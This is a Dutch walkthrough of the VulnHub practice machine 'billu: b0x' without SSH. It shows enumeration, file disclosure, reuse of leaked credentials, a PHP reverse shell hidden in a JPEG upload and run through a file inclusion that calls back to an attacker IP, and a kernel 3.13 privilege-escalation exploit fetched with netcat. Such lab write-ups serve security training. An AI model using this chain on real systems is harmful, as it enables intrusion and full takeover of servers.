billu: b0x zonder SSH

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID136
Interne naamBilluboxNOSSH
TagsWeb, MySQL, privesc

Dit is dezelfde machine als 103: billu: b0x, maar dit keer is de SSH daemon uitgeschakeld om de moeilijkheidsgraad te verhogen.

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.136 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.136 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.136/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.136/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.136/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren). Tijd om de overige bestanden die met dirb zijn gevonden te gaan bekijken.

This image has an empty alt attribute; its file name is 103-Billubox-testphp-code-1.png

Het bestand c.php blijkt de database credentials van de webapplicatie te bevatten.
billu: b0x_billu
Hiermee kan op de PHPMyAdmin pagina ingelogd worden waarna de database inhoud bekeken kan worden.

In de tabel auth staan de credentials voor de webapplicatie, namelijk biLLu: hEx_it
Hiermee kan op de webapplicatie ingelogd worden waarna er de mogelijkheid is om gebruikers te tonen of toe te voegen.

Enig onderzoek van de pagina broncode brengt aan het licht dat ook hier SQL injection niet mogelijk is. Verder worden de gebruikers afbeeldingen gecontroleerd op bestandstype, het uploaden van een PHP bestand met een backdoor en deze via de pagina laten uitvoeren is hierdoor helaas niet mogelijk.

Ook worden de verschillende invoervelden ge-escaped waardoor het niet mogelijk is PHP code te injecteren.

Verder onderzoek aan de broncode van panel.php brengt aan het licht dat onder bepaalde omstandigheden het mogelijk is een zelfgekozen bestand te ‘includen’ in de pagina. Het bestand moet zich echter wel onder de webroot bevinden.

Aangezien PHP alleen code uitvoert die tussen <?php ?> tags staat en verder alles negeert is het mogelijk om PHP code toe te voegen aan niet-php bestanden, bijvoorbeeld een afbeelding. Hiermee kan de afbeelding controle van de webapplicatie omzeild worden.

Eerst maak ik een dummy afbeelding aan:


echo ‘FFD8FFEo’ | xxd -r -p > backdoor.jpg

Vervolgens plaats ik hier achter een PHP reverse shell, in dit geval is het de uitstekende reverse shell van pentestmonkeys. Deze is aangepast zodat de communicatie wordt opgebouwd met het IP adres 10.0.1.234, poort 1234

cat backdoor.php >> backdoor.jpg

Het resultaat gebruik is als gebruikersafbeelding voor een nieuwe gebruiker. De afbeelding wordt geaccepteerd en komt terecht op de URL http://10.0.1.136/uploaded_images/backdoor.jpg

Nu moet de backdoor nog uitgevoerd worden. Hiervoor start ik eerst een netcat listener in een nieuw terminal window.

nc -nvlp 1234

Vervolgens roep ik de panel.php pagina aan met de juiste combinatie van parameters om de include van backdoor.jpg uit te voeren. Het is nodig om ingelogd te zijn aangezien er een PHP session cookie wordt gebruikt.

curl -X POST http://10.0.1.136/index.php -d “un=biLLu&ps=hEx_it&login-1” -c “koekje.txt”

curl -X POST http://10.0.1.136/panel.php -d “continue=continue&load=uploaded_images/backdoor.jpg” -b “koekje.txt”

Succes, er is een reverse shell met de machine. De gebruiker is www-data en heeft weinig rechten. Nader onderzoek naar de mogelijkheden tot een privilege escalatie is nodig.

In de welkomstboodschap is al te zien dat het om een Ubuntu machine gaat het kernel 3.13.0.

searchsploit 3.13.0

Er blijkt een local privilege exploit te bestaan voor deze kernel, de code hiervoor is te vinden op /usr/share/exploitdb/exploits/linux/local/37292.c

Met behulp van het nc commando kan dit bestand naar de doelmachine worden verzonden. Hiervoor wordt op de lokale machine een listener gestart welke de inhoud van het exploit bestand verstuurt.

nv -nvlp 1235 < /usr/share/exploitdb/exploits/linux/local/37292.c

Op de doelmachine wordt een nc verbinding gestart en de uitvoer wordt naar /tmp/exploit.c geredirect.

nc -nv 10.0.1.234 1235 > /tmp/exploit.c

De overdracht vindt plaats en door op de zendende machine de verbinding met ctrl-c te verbreken wordt het bestand op de doelmachine geschrveen.

Op de doelmachine staat nu de exploit in /tmp, deze moet nog gecompileerd worden zodat deze uitgevoerd kan worden.

cd /tmp
gcc exploit.c -o exploit
chmod +x exploit
./exploit